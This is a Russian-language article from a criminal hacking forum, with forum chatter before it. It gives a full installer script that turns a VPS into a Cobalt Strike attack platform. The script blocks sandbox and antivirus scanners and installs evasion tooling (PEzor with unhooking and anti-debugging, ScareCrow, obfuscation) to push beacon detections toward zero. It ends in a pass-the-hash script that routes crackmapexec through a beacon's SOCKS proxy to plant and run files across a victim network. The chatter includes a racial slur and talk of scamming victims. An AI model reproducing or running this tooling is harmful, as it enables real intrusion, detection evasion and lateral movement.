• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

Есть кто-нибудь из его команды?
Феникс сменил телеграм походу, а я не знаю на какой, так как проебал свой тг.
https://xss.pro/threads/56644/
в блеке вроде как указан ответчик
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Есть кто-нибудь из его команды?
ТС в бане давным давно за кидание на баксы бедных беззащитных американских негров, вроде KAJIT - его закадычный бро, можешь попробовать у него спросить.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
он вас пошлет скорее всего, ребята. ему некогда. и контактов его я не дам
баксы бедных беззащитных американских негров
ну не таких уж и беззащитных. тупые правда п3д@. маяки на вт лить -> клиника.
 
Автор x4k, для конкурса статей xss.pro


Посмотреть вложение 24908# ПРИВЕТИКИ v2

## 1.Введение

В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.

Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.

Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)

## 2.Установщик

Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.

git clone https://github.com/l4ckyguy/ukn0w --depth 1 /opt/ukn0w ; cd /opt/ukn0w ; ./build.sh

После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD

## 3.hostInside

Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname

Bash:
home="$(pwd)" ; hname="yourhostna.me" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
                wget -O /tmp/ka.deb https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i /tmp/ka.deb
        echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list ; sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done


После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом

Bash:
#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2 ; chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2        none    swap    sw,pri=10       0       0' >> /etc/fstab ; rm /etc/motd &>/dev/null

#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; touch /root/.hushlogin

#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make \
htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 \
ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; systemctl enable docker ; systemctl start docker
apt-get -y purge apache2

#wine32
dpkg --add-architecture i386 ; apt-get update ; apt-get -y install wine32

После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit

Bash:
#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5

#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#ulimit
echo 'session required        pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
*               soft    nofile            655350
*               hard    nofile            655350
root            soft    nofile            655350
root            hard    nofile            655350
EOF

Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))

Bash:
#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 \
| grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh

cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr

[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/  --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF

update-grub

#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local


Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.

Bash:
#cobaltstrike section
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ;  hname="$(hostname)"
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts

cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver


Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)
Bash:
#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/

cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF

cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps

#sudoers
cat<<'EOF'> /etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root    ALL=(ALL) NOPASSWD: ALL
gvm     ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF

GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)

Bash:
#acun
docker pull 0x4k/acunetix

#PATROWL
function installpatrowl() {
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears  ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * *  cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -
}
#installpatrowl

#super_os
/etc/init.d/docker restart ; sleep 2 ; cd /opt ; docker build -t kali_suos .

printf "\n\n\033[1;33mЧищу, мою, убираю. Ставлю антипесочницу и перезагружась..\n\033[0m"
sleep 4 ; apt-get -y autoremove ; apt autoclean

#badboyz
function bbinstall() {
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz
}
bbinstall

sudo -u root reboot

... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...

Посмотреть вложение 24909

## 3.osInside

Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:
Bash:
#!/bin/bash
x2="p@ssw0rd" ; x4="p@ssw0rd" ; echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd ; cusw
chmod 600 /root/.vnc/passwd ; rm -r /tmp/* ; rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 1 ; done
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
cat<<EOF>/usr/share/applications/patrowl.desktop
[Desktop Entry]
Name=spiderfoot
Encoding=UTF-8
Exec=firefox http://$HOSTNAME:8383
Icon=balena-etcher-electron
StartupNotify=false
Terminal=false
Type=Application
EOF
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137

Ну а frp сервис так:

Bash:
#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/

cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = XHOSTNAME
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF

Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.
Bash:
export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot nmap locales imagemagick xclip -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper

cat<<'EOF'>/etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root    ALL=(ALL) NOPASSWD: ALL
x       ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
EOF

#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin

#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ;  printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc

Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!

Bash:
#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/

#wallz
wget -O /tmp/wall.zip https://repo.x4k.dev/xss/wallz.zip ; unzip -P 'xss.pro' /tmp/wallz.zip -d /opt/

#bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 \
| cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc

#nanorc
cd ~; wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash

#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null

#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh


Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).

Bash:
#cobaltstrike
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF

#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF

#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url \
| head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install

#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall

#pwncat
python3 -m pip install pwncat pe-tree

#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1

#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans

#one-lin3r
pip3 install one-lin3r pefile

#garble
GO111MODULE=on go get mvdan.cc/garble

#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow

#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang

#pe-tree
pip3 install pe-tree libtmux docutils

#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc

#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64

#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z



## 4.csInside

При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.

Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.

Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для xss.pro Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))
Bash:
#!/bin/bash

cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4  XHOSTIP 27500
EOF

zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg  --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network       " --add-entry="username        " --add-entry="hash          "  --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi

if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi

if test "$METH" = "put" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
